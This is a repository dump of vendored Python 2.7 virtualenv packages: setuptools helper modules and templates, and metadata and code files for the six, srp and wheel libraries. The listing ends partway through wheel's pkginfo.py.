https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/setuptools/gui-64.exe
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/gui.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/setuptools/gui.exe
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/launch.py:
--------------------------------------------------------------------------------
1 | """
2 | Launch the Python script on the command line after
3 | setuptools is bootstrapped via import.
4 | """
5 |
6 | # Note that setuptools gets imported implicitly by the
7 | # invocation of this script using python -m setuptools.launch
8 |
9 | import tokenize
10 | import sys
11 |
12 |
13 | def run():
14 | """
15 | Run the script in sys.argv[1] as if it had
16 | been invoked naturally.
17 | """
18 | __builtins__
19 | script_name = sys.argv[1]
20 | namespace = dict(
21 | __file__=script_name,
22 | __name__='__main__',
23 | __doc__=None,
24 | )
25 | sys.argv[:] = sys.argv[1:]
26 |
27 | open_ = getattr(tokenize, 'open', open)
28 | script = open_(script_name).read()
29 | norm_script = script.replace('\\r\\n', '\\n')
30 | code = compile(norm_script, script_name, 'exec')
31 | exec(code, namespace)
32 |
33 |
34 | if __name__ == '__main__':
35 | run()
36 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/lib2to3_ex.py:
--------------------------------------------------------------------------------
1 | """
2 | Customized Mixin2to3 support:
3 |
4 | - adds support for converting doctests
5 |
6 |
7 | This module raises an ImportError on Python 2.
8 | """
9 |
10 | from distutils.util import Mixin2to3 as _Mixin2to3
11 | from distutils import log
12 | from lib2to3.refactor import RefactoringTool, get_fixers_from_package
13 |
14 | import setuptools
15 |
16 |
17 | class DistutilsRefactoringTool(RefactoringTool):
18 | def log_error(self, msg, *args, **kw):
19 | log.error(msg, *args)
20 |
21 | def log_message(self, msg, *args):
22 | log.info(msg, *args)
23 |
24 | def log_debug(self, msg, *args):
25 | log.debug(msg, *args)
26 |
27 |
28 | class Mixin2to3(_Mixin2to3):
29 | def run_2to3(self, files, doctests=False):
30 | # See of the distribution option has been set, otherwise check the
31 | # setuptools default.
32 | if self.distribution.use_2to3 is not True:
33 | return
34 | if not files:
35 | return
36 | log.info("Fixing " + " ".join(files))
37 | self.__build_fixer_names()
38 | self.__exclude_fixers()
39 | if doctests:
40 | if setuptools.run_2to3_on_doctests:
41 | r = DistutilsRefactoringTool(self.fixer_names)
42 | r.refactor(files, write=True, doctests_only=True)
43 | else:
44 | _Mixin2to3.run_2to3(self, files)
45 |
46 | def __build_fixer_names(self):
47 | if self.fixer_names:
48 | return
49 | self.fixer_names = []
50 | for p in setuptools.lib2to3_fixer_packages:
51 | self.fixer_names.extend(get_fixers_from_package(p))
52 | if self.distribution.use_2to3_fixers is not None:
53 | for p in self.distribution.use_2to3_fixers:
54 | self.fixer_names.extend(get_fixers_from_package(p))
55 |
56 | def __exclude_fixers(self):
57 | excluded_fixers = getattr(self, 'exclude_fixers', [])
58 | if self.distribution.use_2to3_exclude_fixers is not None:
59 | excluded_fixers.extend(self.distribution.use_2to3_exclude_fixers)
60 | for fixer_name in excluded_fixers:
61 | if fixer_name in self.fixer_names:
62 | self.fixer_names.remove(fixer_name)
63 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/py27compat.py:
--------------------------------------------------------------------------------
1 | """
2 | Compatibility Support for Python 2.7 and earlier
3 | """
4 |
5 | import platform
6 |
7 | from setuptools.extern import six
8 |
9 |
10 | def get_all_headers(message, key):
11 | """
12 | Given an HTTPMessage, return all headers matching a given key.
13 | """
14 | return message.get_all(key)
15 |
16 |
17 | if six.PY2:
18 | def get_all_headers(message, key):
19 | return message.getheaders(key)
20 |
21 |
22 | linux_py2_ascii = (
23 | platform.system() == 'Linux' and
24 | six.PY2
25 | )
26 |
27 | rmtree_safe = str if linux_py2_ascii else lambda x: x
28 | """Workaround for http://bugs.python.org/issue24672"""
29 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/py31compat.py:
--------------------------------------------------------------------------------
1 | __all__ = ['get_config_vars', 'get_path']
2 |
3 | try:
4 | # Python 2.7 or >=3.2
5 | from sysconfig import get_config_vars, get_path
6 | except ImportError:
7 | from distutils.sysconfig import get_config_vars, get_python_lib
8 |
9 | def get_path(name):
10 | if name not in ('platlib', 'purelib'):
11 | raise ValueError("Name must be purelib or platlib")
12 | return get_python_lib(name == 'platlib')
13 |
14 |
15 | try:
16 | # Python >=3.2
17 | from tempfile import TemporaryDirectory
18 | except ImportError:
19 | import shutil
20 | import tempfile
21 |
22 | class TemporaryDirectory(object):
23 | """
24 | Very simple temporary directory context manager.
25 | Will try to delete afterward, but will also ignore OS and similar
26 | errors on deletion.
27 | """
28 |
29 | def __init__(self):
30 | self.name = None # Handle mkdtemp raising an exception
31 | self.name = tempfile.mkdtemp()
32 |
33 | def __enter__(self):
34 | return self.name
35 |
36 | def __exit__(self, exctype, excvalue, exctrace):
37 | try:
38 | shutil.rmtree(self.name, True)
39 | except OSError: # removal errors are not the only possible
40 | pass
41 | self.name = None
42 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/py33compat.py:
--------------------------------------------------------------------------------
1 | import dis
2 | import array
3 | import collections
4 |
5 | from setuptools.extern import six
6 |
7 |
8 | OpArg = collections.namedtuple('OpArg', 'opcode arg')
9 |
10 |
11 | class Bytecode_compat(object):
12 | def __init__(self, code):
13 | self.code = code
14 |
15 | def __iter__(self):
16 | """Yield '(op,arg)' pair for each operation in code object 'code'"""
17 |
18 | bytes = array.array('b', self.code.co_code)
19 | eof = len(self.code.co_code)
20 |
21 | ptr = 0
22 | extended_arg = 0
23 |
24 | while ptr < eof:
25 |
26 | op = bytes[ptr]
27 |
28 | if op >= dis.HAVE_ARGUMENT:
29 |
30 | arg = bytes[ptr + 1] + bytes[ptr + 2] * 256 + extended_arg
31 | ptr += 3
32 |
33 | if op == dis.EXTENDED_ARG:
34 | long_type = six.integer_types[-1]
35 | extended_arg = arg * long_type(65536)
36 | continue
37 |
38 | else:
39 | arg = None
40 | ptr += 1
41 |
42 | yield OpArg(op, arg)
43 |
44 |
45 | Bytecode = getattr(dis, 'Bytecode', Bytecode_compat)
46 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/script (dev).tmpl:
--------------------------------------------------------------------------------
1 | # EASY-INSTALL-DEV-SCRIPT: %(spec)r,%(script_name)r
2 | __requires__ = %(spec)r
3 | __import__('pkg_resources').require(%(spec)r)
4 | __file__ = %(dev_path)r
5 | exec(compile(open(__file__).read(), __file__, 'exec'))
6 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/script.tmpl:
--------------------------------------------------------------------------------
1 | # EASY-INSTALL-SCRIPT: %(spec)r,%(script_name)r
2 | __requires__ = %(spec)r
3 | __import__('pkg_resources').run_script(%(spec)r, %(script_name)r)
4 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/unicode_utils.py:
--------------------------------------------------------------------------------
1 | import unicodedata
2 | import sys
3 |
4 | from setuptools.extern import six
5 |
6 |
7 | # HFS Plus uses decomposed UTF-8
8 | def decompose(path):
9 | if isinstance(path, six.text_type):
10 | return unicodedata.normalize('NFD', path)
11 | try:
12 | path = path.decode('utf-8')
13 | path = unicodedata.normalize('NFD', path)
14 | path = path.encode('utf-8')
15 | except UnicodeError:
16 | pass # Not UTF-8
17 | return path
18 |
19 |
20 | def filesys_decode(path):
21 | """
22 | Ensure that the given path is decoded,
23 | NONE when no expected encoding works
24 | """
25 |
26 | if isinstance(path, six.text_type):
27 | return path
28 |
29 | fs_enc = sys.getfilesystemencoding() or 'utf-8'
30 | candidates = fs_enc, 'utf-8'
31 |
32 | for enc in candidates:
33 | try:
34 | return path.decode(enc)
35 | except UnicodeDecodeError:
36 | continue
37 |
38 |
39 | def try_encode(string, enc):
40 | "turn unicode encoding into a functional routine"
41 | try:
42 | return string.encode(enc)
43 | except UnicodeEncodeError:
44 | return None
45 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/version.py:
--------------------------------------------------------------------------------
1 | import pkg_resources
2 |
3 | try:
4 | __version__ = pkg_resources.get_distribution('setuptools').version
5 | except Exception:
6 | __version__ = 'unknown'
7 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/setuptools/windows_support.py:
--------------------------------------------------------------------------------
1 | import platform
2 | import ctypes
3 |
4 |
5 | def windows_only(func):
6 | if platform.system() != 'Windows':
7 | return lambda *args, **kwargs: None
8 | return func
9 |
10 |
11 | @windows_only
12 | def hide_file(path):
13 | """
14 | Set the hidden attribute on a file or directory.
15 |
16 | From http://stackoverflow.com/questions/19622133/
17 |
18 | `path` must be text.
19 | """
20 | __import__('ctypes.wintypes')
21 | SetFileAttributes = ctypes.windll.kernel32.SetFileAttributesW
22 | SetFileAttributes.argtypes = ctypes.wintypes.LPWSTR, ctypes.wintypes.DWORD
23 | SetFileAttributes.restype = ctypes.wintypes.BOOL
24 |
25 | FILE_ATTRIBUTE_HIDDEN = 0x02
26 |
27 | ret = SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN)
28 | if not ret:
29 | raise ctypes.WinError()
30 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/six-1.11.0.dist-info/DESCRIPTION.rst:
--------------------------------------------------------------------------------
1 | .. image:: http://img.shields.io/pypi/v/six.svg
2 | :target: https://pypi.python.org/pypi/six
3 |
4 | .. image:: https://travis-ci.org/benjaminp/six.svg?branch=master
5 | :target: https://travis-ci.org/benjaminp/six
6 |
7 | .. image:: http://img.shields.io/badge/license-MIT-green.svg
8 | :target: https://github.com/benjaminp/six/blob/master/LICENSE
9 |
10 | Six is a Python 2 and 3 compatibility library. It provides utility functions
11 | for smoothing over the differences between the Python versions with the goal of
12 | writing Python code that is compatible on both Python versions. See the
13 | documentation for more information on what is provided.
14 |
15 | Six supports every Python version since 2.6. It is contained in only one Python
16 | file, so it can be easily copied into your project. (The copyright and license
17 | notice must be retained.)
18 |
19 | Online documentation is at http://six.rtfd.org.
20 |
21 | Bugs can be reported to https://github.com/benjaminp/six. The code can also
22 | be found there.
23 |
24 | For questions about six or porting in general, email the python-porting mailing
25 | list: https://mail.python.org/mailman/listinfo/python-porting
26 |
27 |
28 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/six-1.11.0.dist-info/INSTALLER:
--------------------------------------------------------------------------------
1 | pip
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/six-1.11.0.dist-info/METADATA:
--------------------------------------------------------------------------------
1 | Metadata-Version: 2.0
2 | Name: six
3 | Version: 1.11.0
4 | Summary: Python 2 and 3 compatibility utilities
5 | Home-page: http://pypi.python.org/pypi/six/
6 | Author: Benjamin Peterson
7 | Author-email: benjamin@python.org
8 | License: MIT
9 | Platform: UNKNOWN
10 | Classifier: Programming Language :: Python :: 2
11 | Classifier: Programming Language :: Python :: 3
12 | Classifier: Intended Audience :: Developers
13 | Classifier: License :: OSI Approved :: MIT License
14 | Classifier: Topic :: Software Development :: Libraries
15 | Classifier: Topic :: Utilities
16 |
17 | .. image:: http://img.shields.io/pypi/v/six.svg
18 | :target: https://pypi.python.org/pypi/six
19 |
20 | .. image:: https://travis-ci.org/benjaminp/six.svg?branch=master
21 | :target: https://travis-ci.org/benjaminp/six
22 |
23 | .. image:: http://img.shields.io/badge/license-MIT-green.svg
24 | :target: https://github.com/benjaminp/six/blob/master/LICENSE
25 |
26 | Six is a Python 2 and 3 compatibility library. It provides utility functions
27 | for smoothing over the differences between the Python versions with the goal of
28 | writing Python code that is compatible on both Python versions. See the
29 | documentation for more information on what is provided.
30 |
31 | Six supports every Python version since 2.6. It is contained in only one Python
32 | file, so it can be easily copied into your project. (The copyright and license
33 | notice must be retained.)
34 |
35 | Online documentation is at http://six.rtfd.org.
36 |
37 | Bugs can be reported to https://github.com/benjaminp/six. The code can also
38 | be found there.
39 |
40 | For questions about six or porting in general, email the python-porting mailing
41 | list: https://mail.python.org/mailman/listinfo/python-porting
42 |
43 |
44 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/six-1.11.0.dist-info/RECORD:
--------------------------------------------------------------------------------
1 | six.py,sha256=A08MPb-Gi9FfInI3IW7HimXFmEH2T2IPzHgDvdhZPRA,30888
2 | six-1.11.0.dist-info/DESCRIPTION.rst,sha256=gPBoq1Ruc1QDWyLeXPlieL3F-XZz1_WXB-5gctCfg-A,1098
3 | six-1.11.0.dist-info/METADATA,sha256=06nZXaDYN3vnC-pmUjhkECYFH_a--ywvcPIpUdNeH1o,1607
4 | six-1.11.0.dist-info/RECORD,,
5 | six-1.11.0.dist-info/WHEEL,sha256=o2k-Qa-RMNIJmUdIc7KU6VWR_ErNRbWNlxDIpl7lm34,110
6 | six-1.11.0.dist-info/metadata.json,sha256=ac3f4f7MpSHSnZ1SqhHCwsL7FGWMG0gBEb0hhS2eSSM,703
7 | six-1.11.0.dist-info/top_level.txt,sha256=_iVH_iYEtEXnD8nYGQYpYFUvkUW9sEO1GYbkeKSAais,4
8 | six-1.11.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
9 | six.pyc,,
10 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/six-1.11.0.dist-info/WHEEL:
--------------------------------------------------------------------------------
1 | Wheel-Version: 1.0
2 | Generator: bdist_wheel (0.29.0)
3 | Root-Is-Purelib: true
4 | Tag: py2-none-any
5 | Tag: py3-none-any
6 |
7 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/six-1.11.0.dist-info/metadata.json:
--------------------------------------------------------------------------------
1 | {"classifiers": ["Programming Language :: Python :: 2", "Programming Language :: Python :: 3", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Topic :: Software Development :: Libraries", "Topic :: Utilities"], "extensions": {"python.details": {"contacts": [{"email": "benjamin@python.org", "name": "Benjamin Peterson", "role": "author"}], "document_names": {"description": "DESCRIPTION.rst"}, "project_urls": {"Home": "http://pypi.python.org/pypi/six/"}}}, "generator": "bdist_wheel (0.29.0)", "license": "MIT", "metadata_version": "2.0", "name": "six", "summary": "Python 2 and 3 compatibility utilities", "test_requires": [{"requires": ["pytest"]}], "version": "1.11.0"}
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/six-1.11.0.dist-info/top_level.txt:
--------------------------------------------------------------------------------
1 | six
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/srp-1.0.9.dist-info/DESCRIPTION.rst:
--------------------------------------------------------------------------------
1 |
2 | This package provides an implementation of the Secure Remote Password
3 | protocol (SRP). SRP is a cryptographically strong authentication
4 | protocol for password-based, mutual authentication over an insecure
5 | network connection.
6 |
7 | Unlike other common challenge-response autentication protocols, such
8 | as Kerberos and SSL, SRP does not rely on an external infrastructure
9 | of trusted key servers or certificate management. Instead, SRP server
10 | applications use verification keys derived from each user's password
11 | to determine the authenticity of a network connection.
12 |
13 | SRP provides mutual-authentication in that successful authentication
14 | requires both sides of the connection to have knowledge of the
15 | user's password. If the client side lacks the user's password or the
16 | server side lacks the proper verification key, the authentication will
17 | fail.
18 |
19 | Unlike SSL, SRP does not directly encrypt all data flowing through
20 | the authenticated connection. However, successful authentication does
21 | result in a cryptographically strong shared key that can be used
22 | for symmetric-key encryption.
23 |
24 | For a full description of the pysrp package and the SRP protocol,
25 | please refer to the `srp module documentation`_.
26 |
27 | .. _`srp module documentation`: http://packages.python.org/srp
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/srp-1.0.9.dist-info/INSTALLER:
--------------------------------------------------------------------------------
1 | pip
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/srp-1.0.9.dist-info/METADATA:
--------------------------------------------------------------------------------
1 | Metadata-Version: 2.0
2 | Name: srp
3 | Version: 1.0.9
4 | Summary: Secure Remote Password
5 | Home-page: https://github.com/cocagne/pysrp
6 | Author: Tom Cocagne
7 | Author-email: tom.cocagne@gmail.com
8 | License: MIT
9 | Download-URL: http://pypi.python.org/pypi/srp
10 | Description-Content-Type: UNKNOWN
11 | Platform: OS Independent
12 | Classifier: Development Status :: 5 - Production/Stable
13 | Classifier: Intended Audience :: Developers
14 | Classifier: License :: OSI Approved :: BSD License
15 | Classifier: Operating System :: OS Independent
16 | Classifier: Programming Language :: Python :: 2.7
17 | Classifier: Programming Language :: Python :: 3
18 | Classifier: Programming Language :: Python
19 | Classifier: Topic :: Security
20 | Provides: srp
21 | Requires-Dist: six
22 |
23 |
24 | This package provides an implementation of the Secure Remote Password
25 | protocol (SRP). SRP is a cryptographically strong authentication
26 | protocol for password-based, mutual authentication over an insecure
27 | network connection.
28 |
29 | Unlike other common challenge-response autentication protocols, such
30 | as Kerberos and SSL, SRP does not rely on an external infrastructure
31 | of trusted key servers or certificate management. Instead, SRP server
32 | applications use verification keys derived from each user's password
33 | to determine the authenticity of a network connection.
34 |
35 | SRP provides mutual-authentication in that successful authentication
36 | requires both sides of the connection to have knowledge of the
37 | user's password. If the client side lacks the user's password or the
38 | server side lacks the proper verification key, the authentication will
39 | fail.
40 |
41 | Unlike SSL, SRP does not directly encrypt all data flowing through
42 | the authenticated connection. However, successful authentication does
43 | result in a cryptographically strong shared key that can be used
44 | for symmetric-key encryption.
45 |
46 | For a full description of the pysrp package and the SRP protocol,
47 | please refer to the `srp module documentation`_.
48 |
49 | .. _`srp module documentation`: http://packages.python.org/srp
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/srp-1.0.9.dist-info/RECORD:
--------------------------------------------------------------------------------
1 | srp/__init__.py,sha256=wzPUsaw1ZNjKhM-vJbK23ajjbfQkqZhXW0ZhG09HRVA,572
2 | srp/_ctsrp.py,sha256=yTV89Y1PycBiZcFerHAVcbRsqmDXmTcgfQ6CjBPSaxg,18920
3 | srp/_pysrp.py,sha256=9j73QTAOa6k1hxwX4j8citp3c8OiOF9AfZdW7R6ejCQ,12852
4 | srp/test_srp.py,sha256=3nbKBQ56me__Fir9yLWcPheqHoX-hz-WhtJPoz4MNBA,9329
5 | srp/doc/conf.py,sha256=VlMBeS1sMfS6e_MST3V2fktEr955n__VFm8DM6XA4F0,7069
6 | srp/doc/index.rst,sha256=hqrN-4qzOcJ_oRmwDFFPk2cEN3_P0hRC0b-jc43xNsM,481
7 | srp/doc/srp.rst,sha256=9b3liJxb2zdS5i0hwIMaznoh5WW9h11l3E1b96vROBg,13061
8 | srp-1.0.9.dist-info/DESCRIPTION.rst,sha256=DezvRYXZvofvd8H5uWkwg8PRdMi6TQfnhBAa8gVpYZM,1252
9 | srp-1.0.9.dist-info/METADATA,sha256=5G-iX6-xNtmS7af62Yv5ZoSC59JWalUyQXYfkj4fJgU,1952
10 | srp-1.0.9.dist-info/RECORD,,
11 | srp-1.0.9.dist-info/WHEEL,sha256=F38j99qfcoNzHo88G-kisXWtI3MVVEd9JWjaAPcHMTc,93
12 | srp-1.0.9.dist-info/metadata.json,sha256=FuV0zhMBneHZNqDBknmKIreHjqYHpDmYv2O-ta20c8c,905
13 | srp-1.0.9.dist-info/top_level.txt,sha256=d-HvMbf3aJh-2FCfMqhIOWkzPtCRkngJSoo4i0722ec,4
14 | srp-1.0.9.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
15 | srp/__init__.pyc,,
16 | srp/_ctsrp.pyc,,
17 | srp/doc/conf.pyc,,
18 | srp/test_srp.pyc,,
19 | srp/_pysrp.pyc,,
20 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/srp-1.0.9.dist-info/WHEEL:
--------------------------------------------------------------------------------
1 | Wheel-Version: 1.0
2 | Generator: bdist_wheel (0.30.0)
3 | Root-Is-Purelib: true
4 | Tag: cp27-none-any
5 |
6 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/srp-1.0.9.dist-info/metadata.json:
--------------------------------------------------------------------------------
1 | {"classifiers": ["Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "License :: OSI Approved :: BSD License", "Operating System :: OS Independent", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python", "Topic :: Security"], "description_content_type": "UNKNOWN", "download_url": "http://pypi.python.org/pypi/srp", "extensions": {"python.details": {"contacts": [{"email": "tom.cocagne@gmail.com", "name": "Tom Cocagne", "role": "author"}], "document_names": {"description": "DESCRIPTION.rst"}, "project_urls": {"Home": "https://github.com/cocagne/pysrp"}}}, "extras": [], "generator": "bdist_wheel (0.30.0)", "license": "MIT", "metadata_version": "2.0", "name": "srp", "platform": "OS Independent", "provides": "srp", "run_requires": [{"requires": ["six"]}], "summary": "Secure Remote Password", "version": "1.0.9"}
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/srp-1.0.9.dist-info/top_level.txt:
--------------------------------------------------------------------------------
1 | srp
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/srp/__init__.py:
--------------------------------------------------------------------------------
1 |
2 | _mod = None
3 |
4 | try:
5 | import srp._ctsrp
6 | _mod = srp._ctsrp
7 | except (ImportError, OSError):
8 | pass
9 |
10 | if not _mod:
11 | import srp._pysrp
12 | _mod = srp._pysrp
13 |
14 | User = _mod.User
15 | Verifier = _mod.Verifier
16 | create_salted_verification_key = _mod.create_salted_verification_key
17 |
18 | SHA1 = _mod.SHA1
19 | SHA224 = _mod.SHA224
20 | SHA256 = _mod.SHA256
21 | SHA384 = _mod.SHA384
22 | SHA512 = _mod.SHA512
23 |
24 | NG_1024 = _mod.NG_1024
25 | NG_2048 = _mod.NG_2048
26 | NG_4096 = _mod.NG_4096
27 | NG_8192 = _mod.NG_8192
28 | NG_CUSTOM = _mod.NG_CUSTOM
29 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/srp/doc/index.rst:
--------------------------------------------------------------------------------
1 | .. Secure Remote Password documentation master file, created by
2 | sphinx-quickstart on Fri Mar 25 10:20:52 2011.
3 | You can adapt this file completely to your liking, but it should at least
4 | contain the root `toctree` directive.
5 |
6 | Welcome to Secure Remote Password's documentation!
7 | ==================================================
8 |
9 | Contents:
10 |
11 | .. toctree::
12 | :maxdepth: 2
13 |
14 | srp.rst
15 |
16 | Indices and tables
17 | ==================
18 |
19 | * :ref:`genindex`
20 | * :ref:`modindex`
21 | * :ref:`search`
22 |
23 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel-0.30.0.dist-info/INSTALLER:
--------------------------------------------------------------------------------
1 | pip
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel-0.30.0.dist-info/LICENSE.txt:
--------------------------------------------------------------------------------
1 | "wheel" copyright (c) 2012-2014 Daniel Holth and
2 | contributors.
3 |
4 | The MIT License
5 |
6 | Permission is hereby granted, free of charge, to any person obtaining a
7 | copy of this software and associated documentation files (the "Software"),
8 | to deal in the Software without restriction, including without limitation
9 | the rights to use, copy, modify, merge, publish, distribute, sublicense,
10 | and/or sell copies of the Software, and to permit persons to whom the
11 | Software is furnished to do so, subject to the following conditions:
12 |
13 | The above copyright notice and this permission notice shall be included
14 | in all copies or substantial portions of the Software.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
19 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel-0.30.0.dist-info/WHEEL:
--------------------------------------------------------------------------------
1 | Wheel-Version: 1.0
2 | Generator: bdist_wheel (0.30.0)
3 | Root-Is-Purelib: true
4 | Tag: py2-none-any
5 | Tag: py3-none-any
6 |
7 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel-0.30.0.dist-info/entry_points.txt:
--------------------------------------------------------------------------------
1 | [console_scripts]
2 | wheel = wheel.tool:main
3 |
4 | [distutils.commands]
5 | bdist_wheel = wheel.bdist_wheel:bdist_wheel
6 |
7 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel-0.30.0.dist-info/metadata.json:
--------------------------------------------------------------------------------
1 | {"classifiers": ["Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Programming Language :: Python", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6"], "description_content_type": "UNKNOWN", "extensions": {"python.commands": {"wrap_console": {"wheel": "wheel.tool:main"}}, "python.details": {"contacts": [{"email": "alex.gronholm@nextday.fi", "name": "Alex Gr\u00f6nholm", "role": "author"}], "document_names": {"description": "DESCRIPTION.rst", "license": "LICENSE.txt"}, "project_urls": {"Home": "https://github.com/pypa/wheel"}}, "python.exports": {"console_scripts": {"wheel": "wheel.tool:main"}, "distutils.commands": {"bdist_wheel": "wheel.bdist_wheel:bdist_wheel"}}}, "extras": ["faster-signatures", "signatures", "test", "tool"], "generator": "bdist_wheel (0.30.0)", "keywords": ["wheel", "packaging"], "license": "MIT", "metadata_version": "2.0", "name": "wheel", "run_requires": [{"extra": "faster-signatures", "requires": ["ed25519ll"]}, {"extra": "test", "requires": ["jsonschema", "pytest (>=3.0.0)", "pytest-cov"]}, {"extra": "signatures", "requires": ["keyring", "keyrings.alt"]}, {"environment": "sys_platform!=\"win32\"", "extra": "signatures", "requires": ["pyxdg"]}], "summary": "A built-package format for Python.", "version": "0.30.0"}
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel-0.30.0.dist-info/top_level.txt:
--------------------------------------------------------------------------------
1 | wheel
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel/__init__.py:
--------------------------------------------------------------------------------
1 | # __variables__ with double-quoted values will be available in setup.py:
2 | __version__ = "0.30.0"
3 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel/__main__.py:
--------------------------------------------------------------------------------
1 | """
2 | Wheel command line tool (enable python -m wheel syntax)
3 | """
4 |
5 | import sys
6 |
7 |
8 | def main(): # needed for console script
9 | if __package__ == '':
10 | # To be able to run 'python wheel-0.9.whl/wheel':
11 | import os.path
12 | path = os.path.dirname(os.path.dirname(__file__))
13 | sys.path[0:0] = [path]
14 | import wheel.tool
15 | sys.exit(wheel.tool.main())
16 |
17 |
18 | if __name__ == "__main__":
19 | sys.exit(main())
20 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel/decorator.py:
--------------------------------------------------------------------------------
1 | # from Pyramid
2 |
3 |
4 | class reify(object):
5 | """Put the result of a method which uses this (non-data)
6 | descriptor decorator in the instance dict after the first call,
7 | effectively replacing the decorator with an instance variable.
8 | """
9 |
10 | def __init__(self, wrapped):
11 | self.wrapped = wrapped
12 | self.__doc__ = wrapped.__doc__
13 |
14 | def __get__(self, inst, objtype=None):
15 | if inst is None:
16 | return self
17 | val = self.wrapped(inst)
18 | setattr(inst, self.wrapped.__name__, val)
19 | return val
20 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel/paths.py:
--------------------------------------------------------------------------------
1 | """
2 | Installation paths.
3 |
4 | Map the .data/ subdirectory names to install paths.
5 | """
6 |
7 | import distutils.command.install as install
8 | import distutils.dist as dist
9 | import os.path
10 | import sys
11 |
12 |
13 | def get_install_command(name):
14 | # late binding due to potential monkeypatching
15 | d = dist.Distribution({'name': name})
16 | i = install.install(d)
17 | i.finalize_options()
18 | return i
19 |
20 |
21 | def get_install_paths(name):
22 | """
23 | Return the (distutils) install paths for the named dist.
24 |
25 | A dict with ('purelib', 'platlib', 'headers', 'scripts', 'data') keys.
26 | """
27 | paths = {}
28 |
29 | i = get_install_command(name)
30 |
31 | for key in install.SCHEME_KEYS:
32 | paths[key] = getattr(i, 'install_' + key)
33 |
34 | # pip uses a similar path as an alternative to the system's (read-only)
35 | # include directory:
36 | if hasattr(sys, 'real_prefix'): # virtualenv
37 | paths['headers'] = os.path.join(sys.prefix,
38 | 'include',
39 | 'site',
40 | 'python' + sys.version[:3],
41 | name)
42 |
43 | return paths
44 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/wheel/pkginfo.py:
--------------------------------------------------------------------------------
1 | """Tools for reading and writing PKG-INFO / METADATA without caring
2 | about the encoding."""
3 |
4 | from email.parser import Parser
5 |
6 | try:
7 | unicode
8 | _PY3 = False
9 | except NameError:
10 | _PY3 = True
11 |
12 | if not _PY3:
13 | from email.generator import Generator
14 |
15 | def read_pkg_info_bytes(bytestr):
16 | return Parser().parsestr(bytestr)
17 |
18 | def read_pkg_info(path):
19 | with open(path, "r") as headers:
20 | message = Parser().parse(headers)
21 | return message
22 |
23 | def write_pkg_info(path, message):
24 | with open(path, 'w') as metadata:
25 | Generator(metadata, mangle_from_=False, maxheaderlen=0).flatten(message)
26 | else:
27 | from email.generator import BytesGenerator
28 |
